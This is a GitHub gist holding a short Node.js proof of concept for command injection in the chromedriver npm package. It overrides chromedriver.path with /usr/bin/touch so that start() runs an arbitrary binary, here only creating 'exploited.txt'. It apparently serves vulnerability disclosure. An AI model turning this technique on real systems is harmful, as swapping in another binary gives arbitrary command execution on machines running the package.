Created
October 26, 2023 17:02
-
-
Save mcoimbra/47b1da554a80795c45126d51e41b2b18 to your computer and use it in GitHub Desktop.
Package chromedriver: possible to do command injection by manipulating the arguments.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const chromedriver = require('chromedriver'); | |
const args = ['exploited.txt']; | |
const returnPromise = false; | |
chromedriver.path = '/usr/bin/touch'; | |
// This creates a local 'exploited.txt' file. | |
chromedriver.start(args, returnPromise); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment